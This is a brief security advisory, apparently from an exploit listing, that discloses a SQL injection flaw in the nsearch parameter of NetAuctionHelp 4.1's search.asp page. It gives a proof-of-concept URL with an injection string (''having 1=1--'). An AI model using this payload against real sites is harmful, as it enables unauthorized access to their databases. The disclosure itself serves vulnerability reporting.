NetAuctionHelp 4.1 (nsearch) Remote SQL Injection Vulnerability

No description provided by source. Aria-Security Net http://Aria-Security.Net ------------------------ Vendor: http://www.netauctionhelp.com PoC: search.asp ?sort=ni&category=&categoryname=&kwsearch=&nsearch=SQL INJECTION search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch='having 1=1--...